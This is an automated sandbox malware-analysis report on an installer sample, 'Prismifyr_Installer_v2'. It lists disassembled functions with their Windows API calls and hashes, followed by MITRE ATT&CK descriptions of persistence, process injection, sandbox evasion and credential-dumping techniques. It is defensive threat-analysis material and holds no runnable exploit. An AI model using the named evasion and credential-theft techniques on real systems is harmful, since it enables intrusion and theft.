Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c75ab1504dd8104253bdc04bf71218fd338cad173e8ef5afb4fab122f1cee964
Instruction ID: 65d6ef813479b3ccfd969ec0db039784a4d8c6b5967a53089d3579ec78c560c8
Opcode Fuzzy Hash: c75ab1504dd8104253bdc04bf71218fd338cad173e8ef5afb4fab122f1cee964
Instruction Fuzzy Hash: 401193736041282ADB00656D9C45F9E369C9B85334F25423BFA65F21D1E979D82582E8

Function 00405C3A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\,?,00405CAE,C:\,C:\,004DF000,?,76233420,004059EC,?,004DF000,76233420,00000000), ref: 00405C48
CharNextW.USER32(00000000), ref: 00405C4D
CharNextW.USER32(00000000), ref: 00405C65

Strings

C:\, xrefs: 00405C3B

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 75375947fb2108fa8988f35f37760ff259c71c6e50658764317197b9124938a5
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DAF0BB61908F1199FB3177644C49E7B66BCDB55350B04853FD641B71C0D7F84C818BD9

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 783bf1924eaceae6677feedcc5031a151434ee63f91e097ea153fa5b1c868383
Instruction ID: fc7ade2e12cd9e993d25f9a328d8db16c9603ee1eb20de8c24b8f84b94a82c23
Opcode Fuzzy Hash: 783bf1924eaceae6677feedcc5031a151434ee63f91e097ea153fa5b1c868383
Instruction Fuzzy Hash: B4116A32500109FBDF02AB90CE09FEE7B7DAF54340F100076B904B51E1E7B59E21AB68

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403059,00000001,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 924f9f108daf828ee83ef716cb3535c52cefc1d4ff45c1c6af266e6598bfdb86
Instruction ID: 9c0cd9c85579b1f1539786df4f617efd254904ce91a486f6a135d178cfad0ab8
Opcode Fuzzy Hash: 924f9f108daf828ee83ef716cb3535c52cefc1d4ff45c1c6af266e6598bfdb86
Instruction Fuzzy Hash: 7AF05E30485630EBD6506B20FE0CACB7BA5FB84B41B0149BAF005B11E4D7B85880CBDC

Function 00405296 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052C5
CallWindowProcW.USER32(?,?,?,?), ref: 00405316

Part of subcall function 0040427D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040428F

Strings

, xrefs: 004052A6

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7d5e46cc1e5f02d88c983cfba86e53e431cbed6f21b5100807b47a566b29449e
Instruction ID: 334c9fee3abb3f39d596823d3a3537c7effd0098edc8ca0b3d981ed7cb288a41
Opcode Fuzzy Hash: 7d5e46cc1e5f02d88c983cfba86e53e431cbed6f21b5100807b47a566b29449e
Instruction Fuzzy Hash: F9015A31100709ABEB205F51DD94A9B3B26EB84795F20507AFA007A1D1D7BA9C919E2E

Function 00406188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00004000,00000002,?,00000000,?,?,Remove folder: ,?,?,004063FC,80000002), ref: 004061CE
RegCloseKey.ADVAPI32(?,?,004063FC,80000002,Software\Microsoft\Windows\CurrentVersion,Remove folder: ,Remove folder: ,Remove folder: ,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\), ref: 004061D9

Strings

Remove folder: , xrefs: 0040618F

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CloseQueryValue
String ID: Remove folder:
API String ID: 3356406503-1958208860
Opcode ID: caab4bc250bb6a278ef1a8ac262e6d4f4be946af9bdb02c3b8c6b2633afb5ee1
Instruction ID: 8659262355d6ebf2290daf59b07b2549fc881bd87fa0bb5ea6267207f8cb0b09
Opcode Fuzzy Hash: caab4bc250bb6a278ef1a8ac262e6d4f4be946af9bdb02c3b8c6b2633afb5ee1
Instruction Fuzzy Hash: 68017C72500209EADF218F51DD09EDB3BB8EF55364F01403AFE16A61A1D378DA64EBA4

Function 004058A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00468250,Error launching installer), ref: 004058CC
CloseHandle.KERNEL32(?), ref: 004058D9

Strings

Error launching installer, xrefs: 004058B6

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 63fdd641d1b9510881a379fce0cbff5cab58f1c092c5a17148380fd449a2e826
Instruction ID: 30392a530fa928b09b8412afc6dc4f2cd20664ca8a9f97139eafb5a2ce14b88a
Opcode Fuzzy Hash: 63fdd641d1b9510881a379fce0cbff5cab58f1c092c5a17148380fd449a2e826
Instruction Fuzzy Hash: 33E09AB5540609BFEB009B64DD05F7B77ACEB04708F508565BD51F2150EB749C148A79

Function 00405D15 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D25
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D3D
CharNextA.USER32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D4E
lstrlenA.KERNEL32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D57

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: cc601e2af81a4130f3690bf6756e9ae730db34a97aa71f580e1783f9e5236296
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: 3DF0F631200818FFC7129FA4DD049AFBBA8EF06354B2580BAE840F7211D634DE02AF98

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
